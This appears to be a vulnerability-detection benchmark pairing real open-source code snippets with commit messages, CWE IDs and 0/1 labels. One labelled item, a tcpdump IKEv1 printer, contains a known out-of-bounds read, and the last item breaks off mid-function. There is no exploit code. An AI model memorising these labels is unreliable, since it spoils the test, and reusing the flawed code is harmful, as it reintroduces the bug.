Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int cbc_des_encrypt(struct blkcipher_desc *desc,
struct scatterlist *dst, struct scatterlist *src,
unsigned int nbytes)
{
struct blkcipher_walk walk;
blkcipher_walk_init(&walk, dst, src, nbytes);
return cbc_desall_crypt(desc, KMC_DEA_ENCRYPT, &walk);
}
Commit Message: crypto: prefix module autoloading with "crypto-"
This prefixes all crypto module loading with "crypto-" so we never run
the risk of exposing module auto-loading to userspace via a crypto API,
as demonstrated by Mathias Krause:
https://lkml.org/lkml/2013/3/4/70
Signed-off-by: Kees Cook <keescook@chromium.org>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264
| 0
| 46,688
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool JSFloat64ArrayPrototype::getOwnPropertySlot(JSCell* cell, ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
{
JSFloat64ArrayPrototype* thisObject = jsCast<JSFloat64ArrayPrototype*>(cell);
return getStaticFunctionSlot<JSObject>(exec, getJSFloat64ArrayPrototypeTable(exec), thisObject, propertyName, slot);
}
Commit Message: [JSC] Implement a helper method createNotEnoughArgumentsError()
https://bugs.webkit.org/show_bug.cgi?id=85102
Reviewed by Geoffrey Garen.
In bug 84787, kbr@ requested to avoid hard-coding
createTypeError(exec, "Not enough arguments") here and there.
This patch implements createNotEnoughArgumentsError(exec)
and uses it in JSC bindings.
c.f. a corresponding bug for V8 bindings is bug 85097.
Source/JavaScriptCore:
* runtime/Error.cpp:
(JSC::createNotEnoughArgumentsError):
(JSC):
* runtime/Error.h:
(JSC):
Source/WebCore:
Test: bindings/scripts/test/TestObj.idl
* bindings/scripts/CodeGeneratorJS.pm: Modified as described above.
(GenerateArgumentsCountCheck):
* bindings/js/JSDataViewCustom.cpp: Ditto.
(WebCore::getDataViewMember):
(WebCore::setDataViewMember):
* bindings/js/JSDeprecatedPeerConnectionCustom.cpp:
(WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection):
* bindings/js/JSDirectoryEntryCustom.cpp:
(WebCore::JSDirectoryEntry::getFile):
(WebCore::JSDirectoryEntry::getDirectory):
* bindings/js/JSSharedWorkerCustom.cpp:
(WebCore::JSSharedWorkerConstructor::constructJSSharedWorker):
* bindings/js/JSWebKitMutationObserverCustom.cpp:
(WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver):
(WebCore::JSWebKitMutationObserver::observe):
* bindings/js/JSWorkerCustom.cpp:
(WebCore::JSWorkerConstructor::constructJSWorker):
* bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests.
(WebCore::jsFloat64ArrayPrototypeFunctionFoo):
* bindings/scripts/test/JS/JSTestActiveDOMObject.cpp:
(WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction):
(WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage):
* bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp:
(WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction):
* bindings/scripts/test/JS/JSTestEventTarget.cpp:
(WebCore::jsTestEventTargetPrototypeFunctionItem):
(WebCore::jsTestEventTargetPrototypeFunctionAddEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener):
(WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent):
* bindings/scripts/test/JS/JSTestInterface.cpp:
(WebCore::JSTestInterfaceConstructor::constructJSTestInterface):
(WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2):
* bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp:
(WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod):
* bindings/scripts/test/JS/JSTestNamedConstructor.cpp:
(WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor):
* bindings/scripts/test/JS/JSTestObj.cpp:
(WebCore::JSTestObjConstructor::constructJSTestObj):
(WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg):
(WebCore::jsTestObjPrototypeFunctionMethodReturningSequence):
(WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows):
(WebCore::jsTestObjPrototypeFunctionSerializedValue):
(WebCore::jsTestObjPrototypeFunctionIdbKey):
(WebCore::jsTestObjPrototypeFunctionOptionsObject):
(WebCore::jsTestObjPrototypeFunctionAddEventListener):
(WebCore::jsTestObjPrototypeFunctionRemoveEventListener):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs):
(WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg):
(WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod1):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod2):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod3):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod4):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod5):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod6):
(WebCore::jsTestObjPrototypeFunctionOverloadedMethod7):
(WebCore::jsTestObjConstructorFunctionClassMethod2):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod11):
(WebCore::jsTestObjConstructorFunctionOverloadedMethod12):
(WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray):
(WebCore::jsTestObjPrototypeFunctionConvert1):
(WebCore::jsTestObjPrototypeFunctionConvert2):
(WebCore::jsTestObjPrototypeFunctionConvert3):
(WebCore::jsTestObjPrototypeFunctionConvert4):
(WebCore::jsTestObjPrototypeFunctionConvert5):
(WebCore::jsTestObjPrototypeFunctionStrictFunction):
* bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp:
(WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface):
(WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList):
git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
| 0
| 101,046
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline uint8_t read_u8(const unsigned char *buffer, size_t *pos)
{
return buffer[(*pos)++];
}
Commit Message: list-objects: pass full pathname to callbacks
When we find a blob at "a/b/c", we currently pass this to
our show_object_fn callbacks as two components: "a/b/" and
"c". Callbacks which want the full value then call
path_name(), which concatenates the two. But this is an
inefficient interface; the path is a strbuf, and we could
simply append "c" to it temporarily, then roll back the
length, without creating a new copy.
So we could improve this by teaching the callsites of
path_name() this trick (and there are only 3). But we can
also notice that no callback actually cares about the
broken-down representation, and simply pass each callback
the full path "a/b/c" as a string. The callback code becomes
even simpler, then, as we do not have to worry about freeing
an allocated buffer, nor rolling back our modification to
the strbuf.
This is theoretically less efficient, as some callbacks
would not bother to format the final path component. But in
practice this is not measurable. Since we use the same
strbuf over and over, our work to grow it is amortized, and
we really only pay to memcpy a few bytes.
Signed-off-by: Jeff King <peff@peff.net>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
CWE ID: CWE-119
| 0
| 54,939
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline void sched_init_numa(void)
{
}
Commit Message: sched: Fix information leak in sys_sched_getattr()
We're copying the on-stack structure to userspace, but forgot to give
the right number of bytes to copy. This allows the calling process to
obtain up to PAGE_SIZE bytes from the stack (and possibly adjacent
kernel memory).
This fix copies only as much as we actually have on the stack
(attr->size defaults to the size of the struct) and leaves the rest of
the userspace-provided buffer untouched.
Found using kmemcheck + trinity.
Fixes: d50dde5a10f30 ("sched: Add new scheduler syscalls to support an extended scheduling parameters ABI")
Cc: Dario Faggioli <raistlin@linux.it>
Cc: Juri Lelli <juri.lelli@gmail.com>
Cc: Ingo Molnar <mingo@kernel.org>
Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com>
Signed-off-by: Peter Zijlstra <peterz@infradead.org>
Link: http://lkml.kernel.org/r/1392585857-10725-1-git-send-email-vegard.nossum@oracle.com
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
CWE ID: CWE-200
| 0
| 58,203
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int lrw_serpent_setkey(struct crypto_tfm *tfm, const u8 *key,
unsigned int keylen)
{
struct serpent_lrw_ctx *ctx = crypto_tfm_ctx(tfm);
int err;
err = __serpent_setkey(&ctx->serpent_ctx, key, keylen -
SERPENT_BLOCK_SIZE);
if (err)
return err;
return lrw_init_table(&ctx->lrw_table, key + keylen -
SERPENT_BLOCK_SIZE);
}
Commit Message: crypto: prefix module autoloading with "crypto-"
This prefixes all crypto module loading with "crypto-" so we never run
the risk of exposing module auto-loading to userspace via a crypto API,
as demonstrated by Mathias Krause:
https://lkml.org/lkml/2013/3/4/70
Signed-off-by: Kees Cook <keescook@chromium.org>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264
| 0
| 47,019
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int load_segment_descriptor(struct x86_emulate_ctxt *ctxt,
u16 selector, int seg)
{
u8 cpl = ctxt->ops->cpl(ctxt);
return __load_segment_descriptor(ctxt, selector, seg, cpl, false);
}
Commit Message: KVM: x86: Emulator fixes for eip canonical checks on near branches
Before changing rip (during jmp, call, ret, etc.) the target should be asserted
to be canonical one, as real CPUs do. During sysret, both target rsp and rip
should be canonical. If any of these values is noncanonical, a #GP exception
should occur. The exception to this rule are syscall and sysenter instructions
in which the assigned rip is checked during the assignment to the relevant
MSRs.
This patch fixes the emulator to behave as real CPUs do for near branches.
Far branches are handled by the next patch.
This fixes CVE-2014-3647.
Cc: stable@vger.kernel.org
Signed-off-by: Nadav Amit <namit@cs.technion.ac.il>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-264
| 0
| 94,552
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void SyncBackendHost::HandleClearServerDataSucceededOnFrontendLoop() {
if (!frontend_)
return;
frontend_->OnClearServerDataSucceeded();
}
Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362
| 0
| 104,852
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void btrfs_split_extent_hook(struct inode *inode,
struct extent_state *orig, u64 split)
{
/* not delalloc, ignore it */
if (!(orig->state & EXTENT_DELALLOC))
return;
spin_lock(&BTRFS_I(inode)->lock);
BTRFS_I(inode)->outstanding_extents++;
spin_unlock(&BTRFS_I(inode)->lock);
}
Commit Message: Btrfs: fix hash overflow handling
The handling for directory crc hash overflows was fairly obscure,
split_leaf returns EOVERFLOW when we try to extend the item and that is
supposed to bubble up to userland. For a while it did so, but along the
way we added better handling of errors and forced the FS readonly if we
hit IO errors during the directory insertion.
Along the way, we started testing only for EEXIST and the EOVERFLOW case
was dropped. The end result is that we may force the FS readonly if we
catch a directory hash bucket overflow.
This fixes a few problem spots. First I add tests for EOVERFLOW in the
places where we can safely just return the error up the chain.
btrfs_rename is harder though, because it tries to insert the new
directory item only after it has already unlinked anything the rename
was going to overwrite. Rather than adding very complex logic, I added
a helper to test for the hash overflow case early while it is still safe
to bail out.
Snapshot and subvolume creation had a similar problem, so they are using
the new helper now too.
Signed-off-by: Chris Mason <chris.mason@fusionio.com>
Reported-by: Pascal Junod <pascal@junod.info>
CWE ID: CWE-310
| 0
| 34,347
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool venc_dev::venc_set_error_resilience(OMX_VIDEO_PARAM_ERRORCORRECTIONTYPE* error_resilience)
{
bool status = true;
struct venc_headerextension hec_cfg;
struct venc_multiclicecfg multislice_cfg;
int rc;
OMX_U32 resynchMarkerSpacingBytes = 0;
struct v4l2_control control;
memset(&control, 0, sizeof(control));
if (m_sVenc_cfg.codectype == V4L2_PIX_FMT_MPEG4) {
if (error_resilience->bEnableHEC) {
hec_cfg.header_extension = 1;
} else {
hec_cfg.header_extension = 0;
}
hec.header_extension = error_resilience->bEnableHEC;
}
if (error_resilience->bEnableRVLC) {
DEBUG_PRINT_ERROR("RVLC is not Supported");
return false;
}
if (( m_sVenc_cfg.codectype != V4L2_PIX_FMT_H263) &&
(error_resilience->bEnableDataPartitioning)) {
DEBUG_PRINT_ERROR("DataPartioning are not Supported for MPEG4/H264");
return false;
}
if (error_resilience->nResynchMarkerSpacing) {
resynchMarkerSpacingBytes = error_resilience->nResynchMarkerSpacing;
resynchMarkerSpacingBytes = ALIGN(resynchMarkerSpacingBytes, 8) >> 3;
}
if (( m_sVenc_cfg.codectype != V4L2_PIX_FMT_H263) &&
(error_resilience->nResynchMarkerSpacing)) {
multislice_cfg.mslice_mode = VEN_MSLICE_CNT_BYTE;
multislice_cfg.mslice_size = resynchMarkerSpacingBytes;
control.id = V4L2_CID_MPEG_VIDEO_MULTI_SLICE_MODE;
control.value = V4L2_MPEG_VIDEO_MULTI_SICE_MODE_MAX_BYTES;
} else if (m_sVenc_cfg.codectype == V4L2_PIX_FMT_H263 &&
error_resilience->bEnableDataPartitioning) {
multislice_cfg.mslice_mode = VEN_MSLICE_GOB;
multislice_cfg.mslice_size = resynchMarkerSpacingBytes;
control.id = V4L2_CID_MPEG_VIDEO_MULTI_SLICE_MODE;
control.value = V4L2_MPEG_VIDEO_MULTI_SLICE_GOB;
} else {
multislice_cfg.mslice_mode = VEN_MSLICE_OFF;
multislice_cfg.mslice_size = 0;
control.id = V4L2_CID_MPEG_VIDEO_MULTI_SLICE_MODE;
control.value = V4L2_MPEG_VIDEO_MULTI_SLICE_MODE_SINGLE;
}
DEBUG_PRINT_LOW("%s(): mode = %lu, size = %lu", __func__,
multislice_cfg.mslice_mode, multislice_cfg.mslice_size);
DEBUG_PRINT_ERROR("Calling IOCTL set control for id=%x, val=%d", control.id, control.value);
rc = ioctl(m_nDriver_fd, VIDIOC_S_CTRL, &control);
if (rc) {
DEBUG_PRINT_ERROR("Failed to set Slice mode control");
return false;
}
DEBUG_PRINT_ERROR("Success IOCTL set control for id=%x, value=%d", control.id, control.value);
multislice.mslice_mode=control.value;
control.id = V4L2_CID_MPEG_VIDEO_MULTI_SLICE_MAX_BYTES;
control.value = resynchMarkerSpacingBytes;
DEBUG_PRINT_ERROR("Calling IOCTL set control for id=%x, val=%d", control.id, control.value);
rc = ioctl(m_nDriver_fd, VIDIOC_S_CTRL, &control);
if (rc) {
DEBUG_PRINT_ERROR("Failed to set MAX MB control");
return false;
}
DEBUG_PRINT_ERROR("Success IOCTL set control for id=%x, value=%d", control.id, control.value);
multislice.mslice_mode = multislice_cfg.mslice_mode;
multislice.mslice_size = multislice_cfg.mslice_size;
return status;
}
Commit Message: DO NOT MERGE mm-video-v4l2: venc: add checks before accessing heap pointers
Heap pointers do not point to user virtual addresses in case
of secure session.
Set them to NULL and add checks to avoid accesing them
Bug: 28815329
Bug: 28920116
Change-Id: I94fd5808e753b58654d65e175d3857ef46ffba26
CWE ID: CWE-200
| 0
| 159,285
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void BaseRenderingContext2D::setTransform(double m11,
double m12,
double m21,
double m22,
double dx,
double dy) {
PaintCanvas* c = DrawingCanvas();
if (!c)
return;
if (!std::isfinite(m11) || !std::isfinite(m21) || !std::isfinite(dx) ||
!std::isfinite(m12) || !std::isfinite(m22) || !std::isfinite(dy))
return;
resetTransform();
transform(m11, m12, m21, m22, dx, dy);
}
Commit Message: [PE] Distinguish between tainting due to canvas content and filter.
A filter on a canvas can itself lead to origin tainting, for reasons
other than that the canvas contents are tainted. This CL changes
to distinguish these two causes, so that we recompute filters
on content-tainting change.
Bug: 778506
Change-Id: I3cec8ef3b2772f2af78cdd4b290520113092cca6
Reviewed-on: https://chromium-review.googlesource.com/811767
Reviewed-by: Fredrik Söderquist <fs@opera.com>
Commit-Queue: Chris Harrelson <chrishtr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#522274}
CWE ID: CWE-200
| 0
| 149,962
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static HandlerStarter* Get() {
static HandlerStarter* instance = new HandlerStarter();
return instance;
}
Commit Message: Add Android SDK version to crash reports.
Bug: 911669
Change-Id: I62a97d76a0b88099a5a42b93463307f03be9b3e2
Reviewed-on: https://chromium-review.googlesource.com/c/1361104
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Reviewed-by: Peter Conn <peconn@chromium.org>
Reviewed-by: Ilya Sherman <isherman@chromium.org>
Commit-Queue: Michael van Ouwerkerk <mvanouwerkerk@chromium.org>
Cr-Commit-Position: refs/heads/master@{#615851}
CWE ID: CWE-189
| 0
| 142,567
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void __user *u64_to_ptr(__u64 val)
{
return (void __user *) (unsigned long) val;
}
Commit Message: bpf: fix refcnt overflow
On a system with >32Gbyte of phyiscal memory and infinite RLIMIT_MEMLOCK,
the malicious application may overflow 32-bit bpf program refcnt.
It's also possible to overflow map refcnt on 1Tb system.
Impose 32k hard limit which means that the same bpf program or
map cannot be shared by more than 32k processes.
Fixes: 1be7f75d1668 ("bpf: enable non-root eBPF programs")
Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Alexei Starovoitov <ast@kernel.org>
Acked-by: Daniel Borkmann <daniel@iogearbox.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID:
| 0
| 53,078
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int lxc_assign_network(struct lxc_list *network, pid_t pid)
{
struct lxc_list *iterator;
struct lxc_netdev *netdev;
int am_root = (getuid() == 0);
int err;
lxc_list_for_each(iterator, network) {
netdev = iterator->elem;
if (netdev->type == LXC_NET_VETH && !am_root) {
if (unpriv_assign_nic(netdev, pid))
return -1;
continue;
}
/* empty network namespace, nothing to move */
if (!netdev->ifindex)
continue;
err = lxc_netdev_move_by_index(netdev->ifindex, pid, NULL);
if (err) {
ERROR("failed to move '%s' to the container : %s",
netdev->link, strerror(-err));
return -1;
}
DEBUG("move '%s' to '%d'", netdev->name, pid);
}
return 0;
}
Commit Message: CVE-2015-1335: Protect container mounts against symlinks
When a container starts up, lxc sets up the container's inital fstree
by doing a bunch of mounting, guided by the container configuration
file. The container config is owned by the admin or user on the host,
so we do not try to guard against bad entries. However, since the
mount target is in the container, it's possible that the container admin
could divert the mount with symbolic links. This could bypass proper
container startup (i.e. confinement of a root-owned container by the
restrictive apparmor policy, by diverting the required write to
/proc/self/attr/current), or bypass the (path-based) apparmor policy
by diverting, say, /proc to /mnt in the container.
To prevent this,
1. do not allow mounts to paths containing symbolic links
2. do not allow bind mounts from relative paths containing symbolic
links.
Details:
Define safe_mount which ensures that the container has not inserted any
symbolic links into any mount targets for mounts to be done during
container setup.
The host's mount path may contain symbolic links. As it is under the
control of the administrator, that's ok. So safe_mount begins the check
for symbolic links after the rootfs->mount, by opening that directory.
It opens each directory along the path using openat() relative to the
parent directory using O_NOFOLLOW. When the target is reached, it
mounts onto /proc/self/fd/<targetfd>.
Use safe_mount() in mount_entry(), when mounting container proc,
and when needed. In particular, safe_mount() need not be used in
any case where:
1. the mount is done in the container's namespace
2. the mount is for the container's rootfs
3. the mount is relative to a tmpfs or proc/sysfs which we have
just safe_mount()ed ourselves
Since we were using proc/net as a temporary placeholder for /proc/sys/net
during container startup, and proc/net is a symbolic link, use proc/tty
instead.
Update the lxc.container.conf manpage with details about the new
restrictions.
Finally, add a testcase to test some symbolic link possibilities.
Reported-by: Roman Fiedler
Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com>
Acked-by: Stéphane Graber <stgraber@ubuntu.com>
CWE ID: CWE-59
| 0
| 44,578
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderBlock::layoutLineGridBox()
{
if (style()->lineGrid() == RenderStyle::initialLineGrid()) {
setLineGridBox(0);
return;
}
setLineGridBox(0);
RootInlineBox* lineGridBox = new RootInlineBox(this);
lineGridBox->setHasTextChildren(); // Needed to make the line ascent/descent actually be honored in quirks mode.
lineGridBox->setConstructed();
GlyphOverflowAndFallbackFontsMap textBoxDataMap;
VerticalPositionCache verticalPositionCache;
lineGridBox->alignBoxesInBlockDirection(logicalHeight(), textBoxDataMap, verticalPositionCache);
setLineGridBox(lineGridBox);
}
Commit Message: Update containtingIsolate to go back all the way to top isolate from current root, rather than stopping at the first isolate it finds. This works because the current root is always updated with each isolate run.
BUG=279277
Review URL: https://chromiumcodereview.appspot.com/23972003
git-svn-id: svn://svn.chromium.org/blink/trunk@157268 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 111,371
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ikev1_attrmap_print(netdissect_options *ndo,
const u_char *p, const u_char *ep,
const struct attrmap *map, size_t nmap)
{
int totlen;
uint32_t t, v;
if (p[0] & 0x80)
totlen = 4;
else
totlen = 4 + EXTRACT_16BITS(&p[2]);
if (ep < p + totlen) {
ND_PRINT((ndo,"[|attr]"));
return ep + 1;
}
ND_PRINT((ndo,"("));
t = EXTRACT_16BITS(&p[0]) & 0x7fff;
if (map && t < nmap && map[t].type)
ND_PRINT((ndo,"type=%s ", map[t].type));
else
ND_PRINT((ndo,"type=#%d ", t));
if (p[0] & 0x80) {
ND_PRINT((ndo,"value="));
v = EXTRACT_16BITS(&p[2]);
if (map && t < nmap && v < map[t].nvalue && map[t].value[v])
ND_PRINT((ndo,"%s", map[t].value[v]));
else
rawprint(ndo, (const uint8_t *)&p[2], 2);
} else {
ND_PRINT((ndo,"len=%d value=", EXTRACT_16BITS(&p[2])));
rawprint(ndo, (const uint8_t *)&p[4], EXTRACT_16BITS(&p[2]));
}
ND_PRINT((ndo,")"));
return p + totlen;
}
Commit Message: CVE-2017-13039/IKEv1: Do more bounds checking.
Have ikev1_attrmap_print() and ikev1_attr_print() do full bounds
checking, and return null on a bounds overflow. Have their callers
check for a null return.
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s), modified
so the capture file won't be rejected as an invalid capture.
CWE ID: CWE-125
| 1
| 167,840
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int perf_mmap(struct file *file, struct vm_area_struct *vma)
{
struct perf_event *event = file->private_data;
unsigned long user_locked, user_lock_limit;
struct user_struct *user = current_user();
unsigned long locked, lock_limit;
struct ring_buffer *rb;
unsigned long vma_size;
unsigned long nr_pages;
long user_extra, extra;
int ret = 0, flags = 0;
/*
* Don't allow mmap() of inherited per-task counters. This would
* create a performance issue due to all children writing to the
* same rb.
*/
if (event->cpu == -1 && event->attr.inherit)
return -EINVAL;
if (!(vma->vm_flags & VM_SHARED))
return -EINVAL;
vma_size = vma->vm_end - vma->vm_start;
nr_pages = (vma_size / PAGE_SIZE) - 1;
/*
* If we have rb pages ensure they're a power-of-two number, so we
* can do bitmasks instead of modulo.
*/
if (nr_pages != 0 && !is_power_of_2(nr_pages))
return -EINVAL;
if (vma_size != PAGE_SIZE * (1 + nr_pages))
return -EINVAL;
if (vma->vm_pgoff != 0)
return -EINVAL;
WARN_ON_ONCE(event->ctx->parent_ctx);
mutex_lock(&event->mmap_mutex);
if (event->rb) {
if (event->rb->nr_pages == nr_pages)
atomic_inc(&event->rb->refcount);
else
ret = -EINVAL;
goto unlock;
}
user_extra = nr_pages + 1;
user_lock_limit = sysctl_perf_event_mlock >> (PAGE_SHIFT - 10);
/*
* Increase the limit linearly with more CPUs:
*/
user_lock_limit *= num_online_cpus();
user_locked = atomic_long_read(&user->locked_vm) + user_extra;
extra = 0;
if (user_locked > user_lock_limit)
extra = user_locked - user_lock_limit;
lock_limit = rlimit(RLIMIT_MEMLOCK);
lock_limit >>= PAGE_SHIFT;
locked = vma->vm_mm->pinned_vm + extra;
if ((locked > lock_limit) && perf_paranoid_tracepoint_raw() &&
!capable(CAP_IPC_LOCK)) {
ret = -EPERM;
goto unlock;
}
WARN_ON(event->rb);
if (vma->vm_flags & VM_WRITE)
flags |= RING_BUFFER_WRITABLE;
rb = rb_alloc(nr_pages,
event->attr.watermark ? event->attr.wakeup_watermark : 0,
event->cpu, flags);
if (!rb) {
ret = -ENOMEM;
goto unlock;
}
rcu_assign_pointer(event->rb, rb);
atomic_long_add(user_extra, &user->locked_vm);
event->mmap_locked = extra;
event->mmap_user = get_current_user();
vma->vm_mm->pinned_vm += event->mmap_locked;
perf_event_update_userpage(event);
unlock:
if (!ret)
atomic_inc(&event->mmap_count);
mutex_unlock(&event->mmap_mutex);
vma->vm_flags |= VM_DONTEXPAND | VM_DONTDUMP;
vma->vm_ops = &perf_mmap_vmops;
return ret;
}
Commit Message: perf: Treat attr.config as u64 in perf_swevent_init()
Trinity discovered that we fail to check all 64 bits of
attr.config passed by user space, resulting to out-of-bounds
access of the perf_swevent_enabled array in
sw_perf_event_destroy().
Introduced in commit b0a873ebb ("perf: Register PMU
implementations").
Signed-off-by: Tommi Rantala <tt.rantala@gmail.com>
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: davej@redhat.com
Cc: Paul Mackerras <paulus@samba.org>
Cc: Arnaldo Carvalho de Melo <acme@ghostprotocols.net>
Link: http://lkml.kernel.org/r/1365882554-30259-1-git-send-email-tt.rantala@gmail.com
Signed-off-by: Ingo Molnar <mingo@kernel.org>
CWE ID: CWE-189
| 0
| 31,964
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GC_API void * GC_CALL GC_generic_malloc(size_t lb, int k)
{
void * result;
DCL_LOCK_STATE;
if (EXPECT(GC_have_errors, FALSE))
GC_print_all_errors();
GC_INVOKE_FINALIZERS();
if (SMALL_OBJ(lb)) {
LOCK();
result = GC_generic_malloc_inner((word)lb, k);
UNLOCK();
} else {
size_t lg;
size_t lb_rounded;
word n_blocks;
GC_bool init;
lg = ROUNDED_UP_GRANULES(lb);
lb_rounded = GRANULES_TO_BYTES(lg);
if (lb_rounded < lb)
return((*GC_get_oom_fn())(lb));
n_blocks = OBJ_SZ_TO_BLOCKS(lb_rounded);
init = GC_obj_kinds[k].ok_init;
LOCK();
result = (ptr_t)GC_alloc_large(lb_rounded, k, 0);
if (0 != result) {
if (GC_debugging_started) {
BZERO(result, n_blocks * HBLKSIZE);
} else {
# ifdef THREADS
/* Clear any memory that might be used for GC descriptors */
/* before we release the lock. */
((word *)result)[0] = 0;
((word *)result)[1] = 0;
((word *)result)[GRANULES_TO_WORDS(lg)-1] = 0;
((word *)result)[GRANULES_TO_WORDS(lg)-2] = 0;
# endif
}
}
GC_bytes_allocd += lb_rounded;
UNLOCK();
if (init && !GC_debugging_started && 0 != result) {
BZERO(result, n_blocks * HBLKSIZE);
}
}
if (0 == result) {
return((*GC_get_oom_fn())(lb));
} else {
return(result);
}
}
Commit Message: Fix calloc-related code to prevent SIZE_MAX redefinition in sys headers
* malloc.c: Include limits.h for SIZE_MAX.
* malloc.c (SIZE_MAX, calloc): Define GC_SIZE_MAX instead of SIZE_MAX.
CWE ID: CWE-189
| 0
| 94,307
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static long kvm_vcpu_ioctl(struct file *filp,
unsigned int ioctl, unsigned long arg)
{
struct kvm_vcpu *vcpu = filp->private_data;
void __user *argp = (void __user *)arg;
int r;
struct kvm_fpu *fpu = NULL;
struct kvm_sregs *kvm_sregs = NULL;
if (vcpu->kvm->mm != current->mm)
return -EIO;
#if defined(CONFIG_S390) || defined(CONFIG_PPC) || defined(CONFIG_MIPS)
/*
* Special cases: vcpu ioctls that are asynchronous to vcpu execution,
* so vcpu_load() would break it.
*/
if (ioctl == KVM_S390_INTERRUPT || ioctl == KVM_INTERRUPT)
return kvm_arch_vcpu_ioctl(filp, ioctl, arg);
#endif
r = vcpu_load(vcpu);
if (r)
return r;
switch (ioctl) {
case KVM_RUN:
r = -EINVAL;
if (arg)
goto out;
r = kvm_arch_vcpu_ioctl_run(vcpu, vcpu->run);
trace_kvm_userspace_exit(vcpu->run->exit_reason, r);
break;
case KVM_GET_REGS: {
struct kvm_regs *kvm_regs;
r = -ENOMEM;
kvm_regs = kzalloc(sizeof(struct kvm_regs), GFP_KERNEL);
